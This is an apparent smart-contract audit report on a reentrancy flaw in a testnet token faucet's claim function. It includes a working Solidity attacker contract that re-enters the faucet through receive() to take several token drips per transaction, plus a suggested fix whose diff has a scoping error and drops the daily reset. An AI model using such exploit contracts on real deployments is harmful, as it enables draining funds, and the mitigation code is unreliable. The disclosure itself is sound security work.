Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: high
Likelihood: high

Reentrancy at RaiseBoxFaucet::claimFaucetTokens

Author Revealed upon completion

Reentrancy — faucetClaimer overwrite → multiple token claims per tx (double token drip, single ETH drip)

Description

  • Normal behavior: claimFaucetTokens() should allow a user to claim the configured single faucet token drip and (for first-time claimers) a single Sepolia ETH drip, subject to the 3-day cooldown and daily caps.

  • Observed issue: An attacker can reenter claimFaucetTokens() during the external call{value: ...} and cause the contract to perform the token transfer multiple times inside a single transaction. As implemented, hasClaimedEth is set before the external ETH transfer so the ETH bonus is only paid once, but lastClaimTime, dailyClaimCount and token transfer occur after the external call — allowing repeated token transfers while cooldown/daily counters are not yet updated. Result: attacker obtains multiple token drips in one transaction (e.g. 2× tokens for attack(2)) while receiving only 1× ETH.

function claimFaucetTokens() public {
// Checks
@> faucetClaimer = msg.sender;
...
@> if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
@> hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
...
} else {
@> dailyDrips = 0;
...
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
// Interactions
@> _transfer(address(this), faucetClaimer, faucetDrip);

Risk

Likelihood:

  • The vulnerable pattern (external call before all state updates) is reachable in normal execution by any user calling claimFaucetTokens().

  • A malicious contract can trigger reentrancy via its receive()/fallback() while the faucet performs the external ETH transfer, reproducing the condition reliably on a local fork or testnet.

Impact:

  • Attacker can receive multiple token drips per single transaction, bypassing the 3-day cooldown and per-day claim limits — enabling rapid extraction/abuse of faucet token supply.

  • This can lead to depletion of the faucet token balance, allowing attackers to front-run or grief future legitimate users and undermine the intended rate-limiting.

  • Even though ETH bonus is not doubled in current code, draining tokens may still have material consequences for downstream systems that rely on faucet tokens (testnet bootstrapping, gating access, or marketplace simulations).

Proof of Concept

Add import to RaiseBoxFaucet.t.sol:

import {AttackerContract} from "../src/AttackerContract.sol";

AttackerContract.sol

// SPDX-Lincense-Identifier: MIT
pragma solidity ^0.8.30;
interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
}
contract AttackerContract {
IRaiseBoxFaucet target;
address public owner;
uint256 public reentryLimit; // Limit for reentrancy attack
uint256 public reentryCount; // Counter of attacks
constructor(address _target) {
owner = msg.sender; // simple implementation of ownership, just for PoC
target = IRaiseBoxFaucet(_target);
}
/// @notice Run attack. reentryLimit include 1st call
function attack(uint256 _reentryLimit) external {
require(msg.sender == owner, "NA"); // Auth just for PoC
reentryLimit = _reentryLimit;
reentryCount = 0;
// 1st call is enter to the faucet contract
target.claimFaucetTokens();
}
// When the contract receives ETH (sepEth drip), then will be call receive() function.
receive() external payable {
if (reentryCount + 1 < reentryLimit) {
reentryCount += 1;
target.claimFaucetTokens();
}
}
}

Recommended Mitigation

- contract RaiseBoxFaucet is ERC20, Ownable {
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
...
- // state: faucetClaimer
- address public faucetClaimer;
+ // remove storage faucetClaimer; use local variable inside function
+ // address public faucetClaimer;
...
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
+ address claimant = msg.sender;
- // Checks
- faucetClaimer = msg.sender;
+ // Checks (use claimant)
@@
- if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
- hasClaimedEth[faucetClaimer] = true;
- dailyDrips += sepEthAmountToDrip;
-
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
-
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
+ if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
+ // schedule ETH drip and mark state before any external call
+ hasClaimedEth[claimant] = true;
+ dailyDrips += sepEthAmountToDrip;
+ bool willDrip = true;
+ }
...
- } else {
- dailyDrips = 0;
- }
+ } // do not reset dailyDrips here
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
-
- // Interactions
- _transfer(address(this), faucetClaimer, faucetDrip);
+ // Effects: update state BEFORE external interactions
+ lastClaimTime[claimant] = block.timestamp;
+ dailyClaimCount++;
+ _transfer(address(this), claimant, faucetDrip);
+
+ // Interactions: perform ETH transfer last
+ if (willDrip) {
+ (bool success,) = claimant.call{value: sepEthAmountToDrip}("");
+ if (!success) revert RaiseBoxFaucet_EthTransferFailed();
+ emit SepEthDripped(claimant, sepEthAmountToDrip);
+ }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.